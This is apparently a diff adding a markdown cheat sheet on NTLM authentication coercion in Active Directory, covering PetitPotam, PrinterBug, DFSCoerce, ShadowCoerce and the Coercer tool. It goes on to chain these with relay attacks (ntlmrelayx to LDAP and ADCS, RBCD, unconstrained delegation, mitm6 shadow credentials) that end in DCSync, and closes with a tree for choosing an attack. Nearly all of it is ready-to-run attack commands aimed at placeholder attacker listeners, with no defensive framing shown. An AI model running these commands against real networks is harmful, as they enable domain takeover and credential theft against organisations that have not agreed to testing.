+
|
|
22
|
+
### Unauthenticated (Pre-Patch / Misconfigured)
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
# Original PetitPotam — unauthenticated
|
|
26
|
+
PetitPotam.py LISTENER_IP TARGET_IP
|
|
27
|
+
|
|
28
|
+
# Specific EFS functions:
|
|
29
|
+
PetitPotam.py -method EfsRpcOpenFileRaw LISTENER_IP TARGET_IP
|
|
30
|
+
PetitPotam.py -method EfsRpcEncryptFileSrv LISTENER_IP TARGET_IP
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
### Authenticated
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
# With credentials (required on patched systems)
|
|
37
|
+
PetitPotam.py -u user -p password -d domain.com LISTENER_IP TARGET_IP
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### EFS RPC Function Variants
|
|
41
|
+
|
|
42
|
+
| Function | Patched? | Notes |
|
|
43
|
+
|---|---|---|
|
|
44
|
+
| `EfsRpcOpenFileRaw` | Patched (Nov 2021) | Original PetitPotam function |
|
|
45
|
+
| `EfsRpcEncryptFileSrv` | Patched later | Alternative function |
|
|
46
|
+
| `EfsRpcDecryptFileSrv` | Partially patched | May still work |
|
|
47
|
+
| `EfsRpcQueryUsersOnFile` | Partially patched | May still work |
|
|
48
|
+
| `EfsRpcQueryRecoveryAgents` | Partially patched | May still work |
|
|
49
|
+
| `EfsRpcFileKeyInfo` | Varies | Check per target |
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## 3. PRINTERBUG — MS-RPRN (SPOOLSAMPLE)
|
|
54
|
+
|
|
55
|
+
### Prerequisites
|
|
56
|
+
- Print Spooler service running on target
|
|
57
|
+
- Valid domain credentials
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
# SpoolSample (Windows)
|
|
61
|
+
SpoolSample.exe TARGET_HOST LISTENER_HOST
|
|
62
|
+
|
|
63
|
+
# printerbug.py (Impacket)
|
|
64
|
+
printerbug.py DOMAIN/user:password@TARGET_IP LISTENER_IP
|
|
65
|
+
|
|
66
|
+
# Dementor (Python)
|
|
67
|
+
python3 dementor.py -d domain.com -u user -p password LISTENER_IP TARGET_IP
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
### Check If Spooler Is Running
|
|
71
|
+
|
|
72
|
+
```bash
|
|
73
|
+
# From Linux
|
|
74
|
+
rpcdump.py DOMAIN/user:pass@TARGET_IP | grep -i spoolss
|
|
75
|
+
|
|
76
|
+
# CrackMapExec
|
|
77
|
+
crackmapexec smb TARGET_IP -u user -p pass -M spooler
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## 4. DFSCOERCE — MS-DFSNM
|
|
83
|
+
|
|
84
|
+
```bash
|
|
85
|
+
# DFSCoerce
|
|
86
|
+
python3 dfscoerce.py -u user -p password -d domain.com LISTENER_IP TARGET_IP
|
|
87
|
+
|
|
88
|
+
# Specific functions
|
|
89
|
+
python3 dfscoerce.py -u user -p password -d domain.com \
|
|
90
|
+
-method NetrDfsRemoveStdRoot LISTENER_IP TARGET_IP
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
### MS-DFSNM Functions
|
|
94
|
+
|
|
95
|
+
| Function | Notes |
|
|
96
|
+
|---|---|
|
|
97
|
+
| `NetrDfsRemoveStdRoot` | Primary coercion function |
|
|
98
|
+
| `NetrDfsAddStdRoot` | Alternative |
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## 5. SHADOWCOERCE — MS-FSRVP
|
|
103
|
+
|
|
104
|
+
Exploits the File Server VSS Agent Service (requires the service to be running — common on file servers).
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
# ShadowCoerce
|
|
108
|
+
python3 shadowcoerce.py -u user -p password -d domain.com LISTENER_IP TARGET_IP
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
### MS-FSRVP Functions
|
|
112
|
+
|
|
113
|
+
| Function | Notes |
|
|
114
|
+
|---|---|
|
|
115
|
+
| `IsPathShadowCopied` | Primary function |
|
|
116
|
+
| `IsPathSupported` | Alternative function |
|
|
117
|
+
| `GetShareMapping` | Another variant |
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## 6. COERCER — AUTOMATED DISCOVERY TOOL
|
|
122
|
+
|
|
123
|
+
[Coercer](https://github.com/p0dalirius/Coercer) automates testing all known coercion methods.
|
|
124
|
+
|
|
125
|
+
```bash
|
|
126
|
+
# Scan for available coercion methods on target
|
|
127
|
+
coercer scan -u user -p password -d domain.com -t TARGET_IP
|
|
128
|
+
|
|
129
|
+
# Coerce using all available methods
|
|
130
|
+
coercer coerce -u user -p password -d domain.com -t TARGET_IP -l LISTENER_IP
|
|
131
|
+
|
|
132
|
+
# Specific method
|
|
133
|
+
coercer coerce -u user -p password -d domain.com -t TARGET_IP -l LISTENER_IP \
|
|
134
|
+
--filter-method-name EfsRpcOpenFileRaw
|
|
135
|
+
|
|
136
|
+
# Unauthenticated scan
|
|
137
|
+
coercer scan -t TARGET_IP
|
|
138
|
+
|
|
139
|
+
# Filter by protocol
|
|
140
|
+
coercer coerce -u user -p password -d domain.com -t TARGET_IP -l LISTENER_IP \
|
|
141
|
+
--filter-protocol-name MS-EFSR
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
### Coercer Output Interpretation
|
|
145
|
+
|
|
146
|
+
```
|
|
147
|
+
[+] MS-EFSR - EfsRpcOpenFileRaw → Listening? Check relay!
|
|
148
|
+
[+] MS-RPRN - RpcRemoteFindFirst... → Spooler running, exploitable
|
|
149
|
+
[-] MS-FSRVP - IsPathShadowCopied → Service not running
|
|
150
|
+
[-] MS-DFSNM - NetrDfsRemoveStdRoot → Access denied (non-DC?)
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
---
|
|
154
|
+
|
|
155
|
+
## 7. COERCION + RELAY ATTACK COMBINATIONS
|
|
156
|
+
|
|
157
|
+
### Combo 1: PetitPotam + LDAP Relay → RBCD
|
|
158
|
+
|
|
159
|
+
```bash
|
|
160
|
+
# Terminal 1: Start relay
|
|
161
|
+
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support
|
|
162
|
+
|
|
163
|
+
# Terminal 2: Coerce DC01
|
|
164
|
+
PetitPotam.py ATTACKER_IP DC01_IP
|
|
165
|
+
|
|
166
|
+
# Result: RBCD set on DC01$ → impersonate admin to DC01
|
|
167
|
+
getST.py -spn cifs/DC01.domain.com -impersonate administrator DOMAIN/'EVIL$':'pass'
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
### Combo 2: PrinterBug + Unconstrained Delegation
|
|
171
|
+
|
|
172
|
+
```bash
|
|
173
|
+
# On compromised host with unconstrained delegation:
|
|
174
|
+
Rubeus.exe monitor /interval:5 /nowrap /targetuser:DC01$
|
|
175
|
+
|
|
176
|
+
# Trigger from anywhere:
|
|
177
|
+
printerbug.py DOMAIN/user:pass@DC01 UNCONSTRAINED_HOST
|
|
178
|
+
|
|
179
|
+
# Capture DC01$ TGT → DCSync
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
### Combo 3: PetitPotam + ADCS Relay (ESC8)
|
|
183
|
+
|
|
184
|
+
```bash
|
|
185
|
+
# Terminal 1: Relay to ADCS
|
|
186
|
+
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
|
|
187
|
+
--adcs --template DomainController
|
|
188
|
+
|
|
189
|
+
# Terminal 2: Coerce DC
|
|
190
|
+
PetitPotam.py ATTACKER_IP DC01_IP
|
|
191
|
+
|
|
192
|
+
# Result: Certificate for DC01$ → authenticate → DCSync
|
|
193
|
+
certipy auth -pfx dc01.pfx -dc-ip DC02_IP
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
### Combo 4: mitm6 + LDAP Relay → Shadow Credentials
|
|
197
|
+
|
|
198
|
+
```bash
|
|
199
|
+
# Terminal 1: mitm6 DNS takeover
|
|
200
|
+
mitm6 -d domain.com
|
|
201
|
+
|
|
202
|
+
# Terminal 2: Relay to LDAP with shadow credentials
|
|
203
|
+
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --shadow-credentials -smb2support
|
|
204
|
+
|
|
205
|
+
# Result: Shadow credential added on victim machine → PKINIT auth
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
### Combo 5: WebDAV Coercion + LDAP Relay (Bypass SMB Signing)
|
|
209
|
+
|
|
210
|
+
```bash
|
|
211
|
+
# Terminal 1: Start relay
|
|
212
|
+
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support
|
|
213
|
+
|
|
214
|
+
# Terminal 2: Coerce via WebDAV (HTTP-based, no SMB signing issue)
|
|
215
|
+
PetitPotam.py ATTACKER@80/test WORKSTATION_IP
|
|
216
|
+
# Workstation's WebClient service sends HTTP-based NTLM → clean relay
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
---
|
|
220
|
+
|
|
221
|
+
## 8. COERCION METHOD SELECTION TREE
|
|
222
|
+
|
|
223
|
+
```
|
|
224
|
+
Need to coerce authentication
|
|
225
|
+
│
|
|
226
|
+
├── Target is a Domain Controller?
|
|
227
|
+
│ ├── PetitPotam (unauthenticated if unpatched)
|
|
228
|
+
│ ├── PetitPotam (authenticated — most reliable)
|
|
229
|
+
│ ├── DFSCoerce (if DFS role installed)
|
|
230
|
+
│ └── PrinterBug (if Spooler running — rare on modern DCs)
|
|
231
|
+
│
|
|
232
|
+
├── Target is a file server?
|
|
233
|
+
│ ├── ShadowCoerce (if FSRVP agent running)
|
|
234
|
+
│ ├── PetitPotam (authenticated)
|
|
235
|
+
│ └── PrinterBug (if Spooler running)
|
|
236
|
+
│
|
|
237
|
+
├── Target is a workstation?
|
|
238
|
+
│ ├── PrinterBug (Spooler usually running)
|
|
239
|
+
│ ├── PetitPotam (authenticated)
|
|
240
|
+
│ └── WebDAV coercion (if WebClient running — HTTP-based!)
|
|
241
|
+
│
|
|
242
|
+
├── No creds available?
|
|
243
|
+
│ ├── PetitPotam unauthenticated (unpatched systems only)
|
|
244
|
+
│ ├── Responder poisoning (passive capture)
|
|
245
|
+
│ └── mitm6 (DHCPv6 DNS takeover)
|
|
246
|
+
│
|
|
247
|
+
├── Need HTTP-based NTLM (bypass SMB signing)?
|
|
248
|
+
│ ├── WebDAV coercion from workstation
|
|
249
|
+
│ └── mitm6 WPAD trigger
|
|
250
|
+
│
|
|
251
|
+
└── Not sure what works?
|
|
252
|
+
└── Use Coercer tool: coercer scan -t TARGET
|
|
253
|
+
```
|